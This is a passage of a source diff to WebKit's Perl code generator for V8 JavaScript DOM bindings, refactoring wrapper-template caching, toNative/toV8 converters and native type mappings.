+    instance->SetAccessor(v8::String::New("replace"), V8Location::replaceAccessorGetter, 0, v8::Handle<v8::Value>(), v8::ALL_CAN_READ, static_cast<v8::PropertyAttribute>(v8::DontDelete | v8::ReadOnly));
+    instance->SetAccessor(v8::String::New("assign"), V8Location::assignAccessorGetter, 0, v8::Handle<v8::Value>(), v8::ALL_CAN_READ, static_cast<v8::PropertyAttribute>(v8::DontDelete | v8::ReadOnly));
 END
     }
 
+    my $nativeType = GetNativeTypeForConversions($interfaceName);
+    if ($dataNode->extendedAttributes->{"PODType"}) {
+        $nativeType = "V8SVGPODTypeWrapper<${nativeType}>";
+    }
     push(@implContent, <<END);
-  return desc;
+
+    // Custom toString template
+    desc->Set(getToStringName(), getToStringTemplate());
+    return desc;
+}
+
+v8::Persistent<v8::FunctionTemplate> ${className}::GetRawTemplate()
+{
+    static v8::Persistent<v8::FunctionTemplate> ${className}_raw_cache_ = createRawTemplate();
+    return ${className}_raw_cache_;
 }
 
-v8::Persistent<v8::FunctionTemplate> ${className}::GetRawTemplate() {
-  static v8::Persistent<v8::FunctionTemplate> ${className}_raw_cache_;
-  if (${className}_raw_cache_.IsEmpty()) {
-    v8::HandleScope scope;
-    v8::Local<v8::FunctionTemplate> result = v8::FunctionTemplate::New(V8Proxy::checkNewLegal);
-    ${className}_raw_cache_ = v8::Persistent<v8::FunctionTemplate>::New(result);
-  }
-  return ${className}_raw_cache_;
+v8::Persistent<v8::FunctionTemplate> ${className}::GetTemplate()\
+{
+    static v8::Persistent<v8::FunctionTemplate> ${className}_cache_ = Configure${className}Template(GetRawTemplate());
+    return ${className}_cache_;
 }
 
-v8::Persistent<v8::FunctionTemplate> ${className}::GetTemplate() {
-  static v8::Persistent<v8::FunctionTemplate> ${className}_cache_;
-  if (${className}_cache_.IsEmpty())
-    ${className}_cache_ = Configure${className}Template(GetRawTemplate());
-  return ${className}_cache_;
+${nativeType}* ${className}::toNative(v8::Handle<v8::Object> object)
+{
+    return reinterpret_cast<${nativeType}*>(object->GetPointerFromInternalField(v8DOMWrapperObjectIndex));
 }
 
-bool ${className}::HasInstance(v8::Handle<v8::Value> value) {
-  return GetRawTemplate()->HasInstance(value);
+bool ${className}::HasInstance(v8::Handle<v8::Value> value)
+{
+    return GetRawTemplate()->HasInstance(value);
 }
 
 END
 
+    if (IsActiveDomType($interfaceName)) {
+        # MessagePort is handled like an active dom object even though it doesn't inherit
+        # from ActiveDOMObject, so don't try to cast it to ActiveDOMObject.
+        my $returnValue = $interfaceName eq "MessagePort" ? "0" : "toNative(object)";
+        push(@implContent, <<END);
+ActiveDOMObject* ${className}::toActiveDOMObject(v8::Handle<v8::Object> object)
+{
+    return ${returnValue};
+}      
+END
+    }
+
     if ($implClassName eq "DOMWindow") {
         push(@implContent, <<END);
-v8::Persistent<v8::ObjectTemplate> V8DOMWindow::GetShadowObjectTemplate() {
-  static v8::Persistent<v8::ObjectTemplate> V8DOMWindowShadowObject_cache_;
-  if (V8DOMWindowShadowObject_cache_.IsEmpty()) {
-    V8DOMWindowShadowObject_cache_ = v8::Persistent<v8::ObjectTemplate>::New(v8::ObjectTemplate::New());
-    ConfigureShadowObjectTemplate(V8DOMWindowShadowObject_cache_);
-  }
-  return V8DOMWindowShadowObject_cache_;
+v8::Persistent<v8::ObjectTemplate> V8DOMWindow::GetShadowObjectTemplate()
+{
+    static v8::Persistent<v8::ObjectTemplate> V8DOMWindowShadowObject_cache_;
+    if (V8DOMWindowShadowObject_cache_.IsEmpty()) {
+        V8DOMWindowShadowObject_cache_ = v8::Persistent<v8::ObjectTemplate>::New(v8::ObjectTemplate::New());
+        ConfigureShadowObjectTemplate(V8DOMWindowShadowObject_cache_);
+    }
+    return V8DOMWindowShadowObject_cache_;
 }
 END
     }
 
+    GenerateToV8Converters($dataNode, $interfaceName, $className, $nativeType);
+
+    push(@implContent, <<END);
+
+void ${className}::derefObject(void* object)
+{
+END
+
+    if (IsRefPtrType($interfaceName)) {
+        push(@implContent, <<END);
+    static_cast<${nativeType}*>(object)->deref();
+END
+    }
+
     push(@implContent, <<END);
+}
+
 } // namespace WebCore
 END
 
     push(@implContent, "\n#endif // ${conditionalString}\n") if $conditionalString;
 }
 
+sub GenerateToV8Converters
+{
+    my $dataNode = shift;
+    my $interfaceName = shift;
+    my $className = shift;
+    my $nativeType = shift;
+
+    my $domMapFunction = GetDomMapFunction($dataNode, $interfaceName);
+    my $forceNewObjectInput = IsDOMNodeType($interfaceName) ? ", bool forceNewObject" : "";
+    my $forceNewObjectCall = IsDOMNodeType($interfaceName) ? ", forceNewObject" : "";
+
+    push(@implContent, <<END);
+
+v8::Handle<v8::Object> ${className}::wrap(${nativeType}* impl${forceNewObjectInput})
+{
+    v8::Handle<v8::Object> wrapper;
+    V8Proxy* proxy = 0;
+END
+
+    if (IsNodeSubType($dataNode)) {
+        push(@implContent, <<END);
+    if (impl->document()) {
+        proxy = V8Proxy::retrieve(impl->document()->frame());
+        if (proxy && static_cast<Node*>(impl->document()) == static_cast<Node*>(impl))
+            proxy->windowShell()->initContextIfNeeded();
+    }
+
+END
+    }
+
+    if ($domMapFunction) {
+        push(@implContent, "  if (!forceNewObject) {\n") if IsDOMNodeType($interfaceName);
+        if (IsNodeSubType($dataNode)) {
+            push(@implContent, "    wrapper = V8DOMWrapper::getWrapper(impl);\n");
+        } else {
+            push(@implContent, "    wrapper = ${domMapFunction}.get(impl);\n");
+        }
+        push(@implContent, <<END);
+    if (!wrapper.IsEmpty())
+        return wrapper;
+END
+        push(@implContent, "    }\n") if IsDOMNodeType($interfaceName);
+    }
+    if (IsNodeSubType($dataNode)) {
+        push(@implContent, <<END);
+
+    v8::Handle<v8::Context> context;
+    if (proxy)
+        context = proxy->context();
+
+    // Enter the node's context and create the wrapper in that context.
+    if (!context.IsEmpty())
+        context->Enter();
+END
+    }
+
+    push(@implContent, <<END);
+    wrapper = V8DOMWrapper::instantiateV8Object(proxy, &info, impl);
+END
+
+    if (IsNodeSubType($dataNode)) {
+        push(@implContent, <<END);
+    // Exit the node's context if it was entered.
+    if (!context.IsEmpty())
+        context->Exit();
+END
+    }
+
+    push(@implContent, <<END);
+    if (wrapper.IsEmpty())
+        return wrapper;
+END
+    push(@implContent, "\n    impl->ref();\n") if IsRefPtrType($interfaceName);
+
+    if ($domMapFunction) {
+        push(@implContent, <<END);
+    ${domMapFunction}.set(impl, v8::Persistent<v8::Object>::New(wrapper));
+END
+    }
+
+    push(@implContent, <<END);
+    return wrapper;
+}
+END
+
+    if (IsRefPtrType($interfaceName)) {
+        push(@implContent, <<END);
+
+v8::Handle<v8::Value> toV8(PassRefPtr<${nativeType} > impl${forceNewObjectInput})
+{
+    return toV8(impl.get()${forceNewObjectCall});
+}
+END
+    }
+
+    if (!HasCustomToV8Implementation($dataNode, $interfaceName)) {
+        push(@implContent, <<END);
+
+v8::Handle<v8::Value> toV8(${nativeType}* impl${forceNewObjectInput})
+{
+    if (!impl)
+        return v8::Null();
+    return ${className}::wrap(impl${forceNewObjectCall});
+}
+END
+    }
+}
+
+sub HasCustomToV8Implementation {
+    # FIXME: This subroutine is lame. Probably should be an .idl attribute (CustomToV8)?
+    $dataNode = shift;
+    $interfaceName = shift;
+
+    # We generate a custom converter (but JSC doesn't) for the following:
+    return 1 if $interfaceName eq "BarInfo";
+    return 1 if $interfaceName eq "CSSStyleSheet";
+    return 1 if $interfaceName eq "CanvasPixelArray";
+    return 1 if $interfaceName eq "DOMSelection";
+    return 1 if $interfaceName eq "DOMWindow";
+    return 1 if $interfaceName eq "Element";
+    return 1 if $interfaceName eq "Location";
+    return 1 if $interfaceName eq "HTMLDocument";
+    return 1 if $interfaceName eq "HTMLElement";
+    return 1 if $interfaceName eq "History";
+    return 1 if $interfaceName eq "NamedNodeMap";
+    return 1 if $interfaceName eq "Navigator";
+    return 1 if $interfaceName eq "SVGDocument";
+    return 1 if $interfaceName eq "SVGElement";
+    return 1 if $interfaceName eq "Screen";
+    return 1 if $interfaceName eq "WorkerContext";
+    # We don't generate a custom converter (but JSC does) for the following:
+    return 0 if $interfaceName eq "AbstractWorker";
+    return 0 if $interfaceName eq "CanvasRenderingContext";
+    return 0 if $interfaceName eq "ImageData";
+    return 0 if $interfaceName eq "SVGElementInstance";
+
+    # For everything else, do what JSC does.
+    return $dataNode->extendedAttributes->{"CustomToJS"};
+}
+
+sub GetDomMapFunction
+{
+    my $dataNode = shift;
+    my $type = shift;
+    return "getDOMSVGElementInstanceMap()" if $type eq "SVGElementInstance";
+    return "getDOMNodeMap()" if IsNodeSubType($dataNode);
+    # Only use getDOMSVGObjectWithContextMap() for non-node svg objects
+    return "getDOMSVGObjectWithContextMap()" if $type =~ /SVG/;
+    return "" if $type eq "DOMImplementation";
+    return "getActiveDOMObjectMap()" if IsActiveDomType($type);
+    return "getDOMObjectMap()";
+}
+
+sub IsActiveDomType
+{
+    # FIXME: Consider making this an .idl attribute.
+    my $type = shift;
+    return 1 if $type eq "MessagePort";
+    return 1 if $type eq "XMLHttpRequest";
+    return 1 if $type eq "WebSocket";
+    return 1 if $type eq "Worker";
+    return 1 if $type eq "SharedWorker";
+    return 0;
+}
+
+sub GetNativeTypeForConversions
+{
+    my $type = shift;
+    return "FloatRect" if $type eq "SVGRect";
+    return "FloatPoint" if $type eq "SVGPoint";
+    return "AffineTransform" if $type eq "SVGMatrix";
+    return "float" if $type eq "SVGNumber";
+    return $type;
+}
 
 sub GenerateFunctionCallString()
 {
@@ -1497,7 +2154,6 @@ sub GenerateFunctionCallString()
 
     my $first = 1;
     my $index = 0;
-    my $nodeToReturn = 0;
 
     foreach my $parameter (@{$function->parameters}) {
         if ($index eq $numberOfParameters) {
@@ -1519,16 +2175,20 @@ sub GenerateFunctionCallString()
         } else {
             $functionString .= $paramName;
         }
-
-        if ($parameter->extendedAttributes->{"Return"}) {
-            $nodeToReturn = $parameter->name;
-        }
         $index++;
     }
 
     if ($function->signature->extendedAttributes->{"CustomArgumentHandling"}) {
         $functionString .= ", " if not $first;
-        $functionString .= "&callStack";
+        $functionString .= "callStack.get()";
+        if ($first) { $first = 0; }
+    }
+
+    if ($function->signature->extendedAttributes->{"NeedsUserGestureCheck"}) {
+        $functionString .= ", " if not $first;
+        # FIXME: We need to pass DOMWrapperWorld as a parameter.
+        # See http://trac.webkit.org/changeset/54182
+        $functionString .= "processingUserGesture()";
         if ($first) { $first = 0; }
     }
 
@@ -1541,24 +2201,10 @@ sub GenerateFunctionCallString()
     my $return = "result";
     my $returnIsRef = IsRefPtrType($returnType);
 
-    if ($nodeToReturn) {
-        # Special case for insertBefore, replaceChild, removeChild and
-        # appendChild functions from Node.
-        $result .= $indent . "bool success = $functionString;\n";
-        if (@{$function->raisesExceptions}) {
-            $result .= GenerateSetDOMException($indent);
-        }
-        $result .= $indent . "if (success)\n";
-        $result .= $indent . "    " .
-            "return V8DOMWrapper::convertNodeToV8Object($nodeToReturn);\n";
-        $result .= $indent . "return v8::Null();\n";
-        return $result;
-    } elsif ($returnType eq "void") {
+    if ($returnType eq "void") {
         $result .= $indent . "$functionString;\n";
     } elsif ($copyFirst) {
-        $result .=
-            $indent . GetNativeType($returnType, 0) . " result = *imp;\n" .
-            $indent . "$functionString;\n";
+        $result .= $indent . GetNativeType($returnType, 0) . " result = *imp;\n" . $indent . "$functionString;\n";
     } elsif ($returnsListItemPodType) {
         $result .= $indent . "RefPtr<SVGPODListItem<$nativeReturnType> > result = $functionString;\n";
     } elsif (@{$function->raisesExceptions} or $returnsPodType or $isPodType or IsSVGTypeNeedingContextParameter($returnType)) {
@@ -1570,7 +2216,7 @@ sub GenerateFunctionCallString()
     }
 
     if (@{$function->raisesExceptions}) {
-        $result .= GenerateSetDOMException($indent);
+        $result .= $indent . "if (UNLIKELY(ec)) goto fail;\n";
     }
 
     # If the return type is a POD type, separate out the wrapper generation
@@ -1612,8 +2258,8 @@ sub GenerateFunctionCallString()
     }
 
     if ($returnsPodType) {
-        my $classIndex = uc($returnType);
-        $result .= $indent . "return V8DOMWrapper::convertToV8Object(V8ClassIndex::$classIndex, wrapper.release());\n";
+        $implIncludes{"V8${returnType}.h"} = 1;
+        $result .= $indent . "return toV8(wrapper.release());\n";
     } else {
         $return .= ".release()" if ($returnIsRef);
         $result .= $indent . ReturnNativeToJSValue($function->signature, $return, $indent) . ";\n";
@@ -1627,19 +2273,14 @@ sub GetTypeFromSignature
 {
     my $signature = shift;
 
-    my $type = $codeGenerator->StripModule($signature->type);
-    if (($type eq "DOMString") && $signature->extendedAttributes->{"HintAtomic"}) {
-        $type = "AtomicString";
-    }
-
-    return $type;
+    return $codeGenerator->StripModule($signature->type);
 }
 
 
 sub GetNativeTypeFromSignature
 {
     my $signature = shift;
-    my $isParameter = shift;
+    my $parameterIndex = shift;
 
     my $type = GetTypeFromSignature($signature);
 
@@ -1648,117 +2289,39 @@ sub GetNativeTypeFromSignature
         return "int";
     }
 
-    return GetNativeType($type, $isParameter);
-}
-
-sub IsRefPtrType
-{
-    my $type = shift;
-    return 1 if $type eq "Attr";
-    return 1 if $type eq "CanvasActiveInfo";
-    return 1 if $type eq "CanvasArray";
-    return 1 if $type eq "CanvasArrayBuffer";
-    return 1 if $type eq "CanvasBooleanArray";
-    return 1 if $type eq "CanvasByteArray";
-    return 1 if $type eq "CanvasBuffer";
-    return 1 if $type eq "CanvasFloatArray";
-    return 1 if $type eq "CanvasFramebuffer";
-    return 1 if $type eq "CanvasGradient";
-    return 1 if $type eq "CanvasIntArray";
-    return 1 if $type eq "CanvasObject";
-    return 1 if $type eq "CanvasProgram";
-    return 1 if $type eq "CanvasRenderbuffer";
-    return 1 if $type eq "CanvasShader";
-    return 1 if $type eq "CanvasShortArray";
-    return 1 if $type eq "CanvasTexture";
-    return 1 if $type eq "CanvasUnsignedByteArray";
-    return 1 if $type eq "CanvasUnsignedIntArray";
-    return 1 if $type eq "CanvasUnsignedShortArray";
-    return 1 if $type eq "ClientRect";
-    return 1 if $type eq "ClientRectList";
-    return 1 if $type eq "CDATASection";
-    return 1 if $type eq "Comment";
-    return 1 if $type eq "CSSRule";
-    return 1 if $type eq "CSSStyleRule";
-    return 1 if $type eq "CSSCharsetRule";
-    return 1 if $type eq "CSSImportRule";
-    return 1 if $type eq "CSSMediaRule";
-    return 1 if $type eq "CSSFontFaceRule";
-    return 1 if $type eq "CSSPageRule";
-    return 1 if $type eq "CSSPrimitiveValue";
-    return 1 if $type eq "CSSStyleSheet";
-    return 1 if $type eq "CSSStyleDeclaration";
-    return 1 if $type eq "CSSValue";
-    return 1 if $type eq "CSSRuleList";
-    return 1 if $type eq "Database";
-    return 1 if $type eq "Document";
-    return 1 if $type eq "DocumentFragment";
-    return 1 if $type eq "DocumentType";
-    return 1 if $type eq "Element";
-    return 1 if $type eq "EntityReference";
-    return 1 if $type eq "Event";
-    return 1 if $type eq "EventListener";
-    return 1 if $type eq "FileList";
-    return 1 if $type eq "HTMLCollection";
-    return 1 if $type eq "HTMLAllCollection";
-    return 1 if $type eq "HTMLDocument";
-    return 1 if $type eq "HTMLElement";
-    return 1 if $type eq "HTMLOptionsCollection";
-    return 1 if $type eq "ImageData";
-    return 1 if $type eq "Media";
-    return 1 if $type eq "MediaError";
-    return 1 if $type eq "MimeType";
-    return 1 if $type eq "Node";
-    return 1 if $type eq "NodeList";
-    return 1 if $type eq "NodeFilter";
-    return 1 if $type eq "NodeIterator";
-    return 1 if $type eq "NSResolver";
-    return 1 if $type eq "Plugin";
-    return 1 if $type eq "ProcessingInstruction";
-    return 1 if $type eq "Range";
-    return 1 if $type eq "RGBColor";
-    return 1 if $type eq "Text";
-    return 1 if $type eq "TextMetrics";
-    return 1 if $type eq "TimeRanges";
-    return 1 if $type eq "TreeWalker";
-    return 1 if $type eq "WebKitCSSMatrix";
-    return 1 if $type eq "WebKitPoint";
-    return 1 if $type eq "XPathExpression";
-    return 1 if $type eq "XPathNSResolver";
-    return 1 if $type eq "XPathResult";
-
-    return 1 if $type eq "SVGAngle";
-    return 1 if $type eq "SVGElementInstance";
-    return 1 if $type eq "SVGElementInstanceList";
-    return 1 if $type =~ /^SVGPathSeg/;
-
-    return 1 if $type =~ /^SVGAnimated/;
+    $type = GetNativeType($type, $parameterIndex >= 0 ? 1 : 0);
 
-    return 0;
-}
-
-sub IsVideoClassName
-{
-    my $class = shift;
-    return 1 if $class eq "V8HTMLAudioElement";
-    return 1 if $class eq "V8HTMLMediaElement";
-    return 1 if $class eq "V8HTMLSourceElement";
-    return 1 if $class eq "V8HTMLVideoElement";
-    return 1 if $class eq "V8MediaError";
-    return 1 if $class eq "V8TimeRanges";
+    if ($parameterIndex >= 0 && $type eq "V8Parameter") {
+        my $mode = "";
+        if ($signature->extendedAttributes->{"ConvertUndefinedOrNullToNullString"}) {
+            $mode = "WithUndefinedOrNullCheck";
+        } elsif ($signature->extendedAttributes->{"ConvertNullToNullString"}) {
+            $mode = "WithNullCheck";
+        }
+        $type .= "<$mode>";
+    }
 
-    return 0;
+    return $type;
 }
 
-sub IsWorkerClassName
+sub IsRefPtrType
 {
-    my $class = shift;
-    return 1 if $class eq "V8Worker";
-    return 1 if $class eq "V8WorkerContext";
-    return 1 if $class eq "V8WorkerLocation";
-    return 1 if $class eq "V8WorkerNavigator";
+    my $type = shift;
 
-    return 0;
+    return 0 if $type eq "boolean";
+    return 0 if $type eq "float";
+    return 0 if $type eq "int";
+    return 0 if $type eq "Date";
+    return 0 if $type eq "DOMString";
+    return 0 if $type eq "double";
+    return 0 if $type eq "short";
+    return 0 if $type eq "long";
+    return 0 if $type eq "unsigned";
+    return 0 if $type eq "unsigned long";
+    return 0 if $type eq "unsigned short";
+    return 0 if $type eq "SVGAnimatedPoints";
+
+    return 1;
 }
 
 sub GetNativeType
@@ -1766,28 +2329,34 @@ sub GetNativeType
     my $type = shift;
     my $isParameter = shift;
 
-    if ($type eq "float" or $type eq "AtomicString" or $type eq "double") {
+    if ($type eq "float" or $type eq "double") {
         return $type;
     }
 
+    return "V8Parameter" if ($type eq "DOMString" or $type eq "DOMUserData") and $isParameter;
     return "int" if $type eq "int";
     return "int" if $type eq "short" or $type eq "unsigned short";
     return "unsigned" if $type eq "unsigned long";
     return "int" if $type eq "long";
+    return "long long" if $type eq "long long";
     return "unsigned long long" if $type eq "unsigned long long";
     return "bool" if $type eq "boolean";
     return "String" if $type eq "DOMString";
     return "Range::CompareHow" if $type eq "CompareHow";
     return "FloatRect" if $type eq "SVGRect";
     return "FloatPoint" if $type eq "SVGPoint";
-    return "TransformationMatrix" if $type eq "SVGMatrix";
+    return "AffineTransform" if $type eq "SVGMatrix";
     return "SVGTransform" if $type eq "SVGTransform";
     return "SVGLength" if $type eq "SVGLength";
-    return "double" if $type eq "SVGNumber";
+    return "SVGAngle" if $type eq "SVGAngle";
+    return "float" if $type eq "SVGNumber";
+    return "SVGPreserveAspectRatio" if $type eq "SVGPreserveAspectRatio";
     return "SVGPaint::SVGPaintType" if $type eq "SVGPaintType";
     return "DOMTimeStamp" if $type eq "DOMTimeStamp";
     return "unsigned" if $type eq "unsigned int";
     return "Node*" if $type eq "EventTarget" and $isParameter;
+    return "double" if $type eq "Date";
+    return "ScriptValue" if $type eq "DOMObject";
 
     return "String" if $type eq "DOMUserData";  # FIXME: Temporary hack?
 
@@ -1803,69 +2372,6 @@ sub GetNativeType
     return "${type}*";
 }
 
-
-my %typeCanFailConversion = (
-    "AtomicString" => 0,
-    "Attr" => 1,
-    "CanvasArray" => 0,
-    "CanvasBuffer" => 0,
-    "CanvasByteArray" => 0,
-    "CanvasFloatArray" => 0,
-    "CanvasFramebuffer" => 0,
-    "CanvasGradient" => 0,
-    "CanvasIntArray" => 0,
-    "CanvasPixelArray" => 0,
-    "CanvasProgram" => 0,
-    "CanvasRenderbuffer" => 0,
-    "CanvasShader" => 0,
-    "CanvasShortArray" => 0,
-    "CanvasTexture" => 0,
-    "CompareHow" => 0,
-    "DataGridColumn" => 0,
-    "DOMString" => 0,
-    "DOMWindow" => 0,
-    "DocumentType" => 0,
-    "Element" => 0,
-    "Event" => 0,
-    "EventListener" => 0,
-    "EventTarget" => 0,
-    "HTMLCanvasElement" => 0,
-    "HTMLElement" => 0,
-    "HTMLImageElement" => 0,
-    "HTMLOptionElement" => 0,
-    "HTMLVideoElement" => 0,
-    "Node" => 0,
-    "NodeFilter" => 0,
-    "MessagePort" => 0,
-    "NSResolver" => 0,
-    "Range" => 0,
-    "SQLResultSet" => 0,
-    "Storage" => 0,
-    "SVGAngle" => 0,
-    "SVGElement" => 0,
-    "SVGLength" => 1,
-    "SVGMatrix" => 1,
-    "SVGNumber" => 0,
-    "SVGPaintType" => 0,
-    "SVGPathSeg" => 0,
-    "SVGPoint" => 1,
-    "SVGRect" => 1,
-    "SVGTransform" => 1,
-    "VoidCallback" => 1,
-    "WebKitCSSMatrix" => 0,
-    "WebKitPoint" => 0,
-    "XPathEvaluator" => 0,
-    "XPathNSResolver" => 0,
-    "XPathResult" => 0,
-    "boolean" => 0,
-    "double" => 0,
-    "float" => 0,
-    "long" => 0,
-    "unsigned long" => 0,
-    "unsigned short" => 0,
-);
-
-
 sub TranslateParameter
 {
     my $signature = shift;
@@ -1881,9 +2387,11 @@ sub BasicTypeCanFailConversion
     my $signature = shift;
     my $type = GetTypeFromSignature($signature);
 
+    return 1 if $type eq "SVGAngle";
     return 1 if $type eq "SVGLength";
     return 1 if $type eq "SVGMatrix";
     return 1 if $type eq "SVGPoint";
+    return 1 if $type eq "SVGPreserveAspectRatio";
     return 1 if $type eq "SVGRect";
     return 1 if $type eq "SVGTransform";
     return 0;
@@ -1896,10 +2404,9 @@ sub TypeCanFailConversion
     my $type = GetTypeFromSignature($signature);
 
     $implIncludes{"ExceptionCode.h"} = 1 if $type eq "Attr";
-
-    return $typeCanFailConversion{$type} if exists $typeCanFailConversion{$type};
-
-    die "Don't know whether a JS value can fail conversion to type $type.";
+    return 1 if $type eq "Attr";
+    return 1 if $type eq "VoidCallback";
+    return BasicTypeCanFailConversion($signature);
 }
 
 sub JSValueToNative
@@ -1917,19 +2424,13 @@ sub JSValueToNative
     return "$value->NumberValue()" if $type eq "SVGNumber";
 
     return "toInt32($value${maybeOkParam})" if $type eq "unsigned long" or $type eq "unsigned short" or $type eq "long";
+    return "toInt64($value)" if $type eq "unsigned long long" or $type eq "long long";
     return "static_cast<Range::CompareHow>($value->Int32Value())" if $type eq "CompareHow";
     return "static_cast<SVGPaint::SVGPaintType>($value->ToInt32()->Int32Value())" if $type eq "SVGPaintType";
+    return "toWebCoreDate($value)" if $type eq "Date";
 
-    if ($type eq "AtomicString") {
-        return "v8ValueToAtomicWebCoreStringWithNullCheck($value)" if $signature->extendedAttributes->{"ConvertNullToNullString"};
-        return "v8ValueToAtomicWebCoreString($value)";
-    }
-
-    return "toWebCoreString($value)" if $type eq "DOMUserData";
-    if ($type eq "DOMString") {
-        return "toWebCoreStringWithNullCheck($value)" if $signature->extendedAttributes->{"ConvertNullToNullString"};
-        return "toWebCoreStringWithNullOrUndefinedCheck($value)" if $signature->extendedAttributes->{"ConvertUndefinedOrNullToNullString"};
-        return "toWebCoreString($value)";
+    if ($type eq "DOMString" or $type eq "DOMUserData") {
+        return $value;
     }
 
     if ($type eq "SerializedScriptValue") {
@@ -1937,6 +2438,11 @@ sub JSValueToNative
         return "SerializedScriptValue::create($value)";
     }
 
+    if ($type eq "DOMObject") {
+        $implIncludes{"ScriptValue.h"} = 1;
+        return "ScriptValue($value)";
+    }
+
     if ($type eq "NodeFilter") {
         return "V8DOMWrapper::wrapNativeNodeFilter($value)";
     }
@@ -1950,12 +2456,11 @@ sub JSValueToNative
     }
 
     # Default, assume autogenerated type conversion routines
-    $implIncludes{"V8Proxy.h"} = 1;
     if ($type eq "EventTarget") {
         $implIncludes{"V8Node.h"} = 1;
 
         # EventTarget is not in DOM hierarchy, but all Nodes are EventTarget.
-        return "V8Node::HasInstance($value) ? V8DOMWrapper::convertDOMWrapperToNode<Node>(v8::Handle<v8::Object>::Cast($value)) : 0";
+        return "V8Node::HasInstance($value) ? V8Node::toNative(v8::Handle<v8::Object>::Cast($value)) : 0";
     }
 
     if ($type eq "XPathNSResolver") {
@@ -1963,51 +2468,49 @@ sub JSValueToNative
     }
 
     AddIncludesForType($type);
-    # $implIncludes{"$type.h"} = 1 unless AvoidInclusionOfType($type);
 
     if (IsDOMNodeType($type)) {
         $implIncludes{"V8${type}.h"} = 1;
 
         # Perform type checks on the parameter, if it is expected Node type,
         # return NULL.
-        return "V8${type}::HasInstance($value) ? V8DOMWrapper::convertDOMWrapperToNode<${type}>(v8::Handle<v8::Object>::Cast($value)) : 0";
+        return "V8${type}::HasInstance($value) ? V8${type}::toNative(v8::Handle<v8::Object>::Cast($value)) : 0";
     } else {
-        # TODO: Temporary to avoid Window name conflict.
-        my $classIndex = uc($type);
-        my $implClassName = ${type};
-
         $implIncludes{"V8$type.h"} = 1;
 
         if (IsPodType($type)) {
             my $nativeType = GetNativeType($type);
             $implIncludes{"V8SVGPODTypeWrapper.h"} = 1;
 
-            return "V8SVGPODTypeUtil::toSVGPODType<${nativeType}>(V8ClassIndex::${classIndex}, $value${maybeOkParam})"
+            return "V8SVGPODTypeUtil::toSVGPODType<${nativeType}>(&V8${type}::info, $value${maybeOkParam})"
         }
 
         $implIncludes{"V8${type}.h"} = 1;
 
         # Perform type checks on the parameter, if it is expected Node type,
         # return NULL.
-        return "V8${type}::HasInstance($value) ? V8DOMWrapper::convertToNativeObject<${implClassName}>(V8ClassIndex::${classIndex}, v8::Handle<v8::Object>::Cast($value)) : 0";
+        return "V8${type}::HasInstance($value) ? V8${type}::toNative(v8::Handle<v8::Object>::Cast($value)) : 0";
     }
 }
 
-
 sub GetV8HeaderName
 {
     my $type = shift;
-    return "V8" . GetImplementationFileName($type);
+    return "V8Event.h" if $type eq "DOMTimeStamp";
+    return "EventListener.h" if $type eq "EventListener";
+    return "EventTarget.h" if $type eq "EventTarget";
+    return "SerializedScriptValue.h" if $type eq "SerializedScriptValue";
+    return "ScriptValue.h" if $type eq "DOMObject";
+    return "V8${type}.h";
 }
 
-
 sub CreateCustomSignature
 {
     my $function = shift;
     my $count = @{$function->parameters};
     my $name = $function->signature->name;
-    my $result = "  const int ${name}_argc = ${count};\n" .
-      "  v8::Handle<v8::FunctionTemplate> ${name}_argv[${name}_argc] = { ";
+    my $result = "    const int ${name}_argc = ${count};\n" .
+      "    v8::Handle<v8::FunctionTemplate> ${name}_argv[${name}_argc] = { ";
     my $first = 1;
     foreach my $parameter (@{$function->parameters}) {
         if ($first) { $first = 0; }
@@ -2028,7 +2531,7 @@ sub CreateCustomSignature
         }
     }
     $result .= " };\n";
-    $result .= "  v8::Handle<v8::Signature> ${name}_signature = v8::Signature::New(desc, ${name}_argc, ${name}_argv);\n";
+    $result .= "    v8::Handle<v8::Signature> ${name}_signature = v8::Signature::New(desc, ${name}_argc, ${name}_argv);\n";
     return $result;
 }
 
@@ -2043,9 +2546,9 @@ sub RequiresCustomSignature
     }
 
     foreach my $parameter (@{$function->parameters}) {
-      if (IsWrapperType($parameter->type)) {
-          return 1;
-      }
+        if (IsWrapperType($parameter->type)) {
+            return 1;
+        }
     }
     return 0;
 }
@@ -2053,17 +2556,20 @@ sub RequiresCustomSignature
 
 my %non_wrapper_types = (
     'float' => 1,
-    'AtomicString' => 1,
     'double' => 1,
     'short' => 1,
     'unsigned short' => 1,
     'long' => 1,
     'unsigned long' => 1,
     'boolean' => 1,
+    'long long' => 1,
+    'unsigned long long' => 1,
     'DOMString' => 1,
     'CompareHow' => 1,
+    'SVGAngle' => 1,
     'SVGRect' => 1,
     'SVGPoint' => 1,
+    'SVGPreserveAspectRatio' => 1,
     'SVGMatrix' => 1,
     'SVGTransform' => 1,
     'SVGLength' => 1,
@@ -2071,6 +2577,7 @@ my %non_wrapper_types = (
     'SVGPaintType' => 1,
     'DOMTimeStamp' => 1,
     'JSObject' => 1,
+    'DOMObject' => 1,
     'EventTarget' => 1,
     'NodeFilter' => 1,
     'EventListener' => 1
@@ -2119,11 +2626,10 @@ sub ReturnNativeToJSValue
     my $value = shift;
     my $indent = shift;
     my $type = GetTypeFromSignature($signature);
-    my $className= "V8$type";
 
     return "return v8::Date::New(static_cast<double>($value))" if $type eq "DOMTimeStamp";
-    return "return $value ? v8::True() : v8::False()" if $type eq "boolean";
-    return "return v8::Undefined()" if $type eq "void";
+    return "return v8Boolean($value)" if $type eq "boolean";
+    return "return v8::Handle<v8::Value>()" if $type eq "void";     # equivalent to v8::Undefined()
 
     # For all the types where we use 'int' as the representation type,
     # we use Integer::New which has a fast Smi conversion check.
@@ -2131,7 +2637,9 @@ sub ReturnNativeToJSValue
     return "return v8::Integer::New($value)" if $nativeType eq "int";
     return "return v8::Integer::NewFromUnsigned($value)" if $nativeType eq "unsigned";
 
+    return "return v8DateOrNull($value);" if $type eq "Date";
     return "return v8::Number::New($value)" if $codeGenerator->IsPrimitiveType($type) or $type eq "SVGPaintType";
+    return "return $value.v8Value()" if $nativeType eq "ScriptValue";
 
     if ($codeGenerator->IsStringType($type)) {
         my $conv = $signature->extendedAttributes->{"ConvertNullStringTo"};
@@ -2145,61 +2653,36 @@ sub ReturnNativeToJSValue
         return "return v8String($value)";
     }
 
-    # V8 specific.
-    my $implClassName = $type;
     AddIncludesForType($type);
-    # $implIncludes{GetImplementationFileName($type)} = 1 unless AvoidInclusionOfType($type);
 
     # special case for non-DOM node interfaces
     if (IsDOMNodeType($type)) {
-        if ($signature->extendedAttributes->{"ReturnsNew"}) {
-            return "return V8DOMWrapper::convertNewNodeToV8Object($value)";
-        } else {
-            return "return V8DOMWrapper::convertNodeToV8Object($value)";
-        }
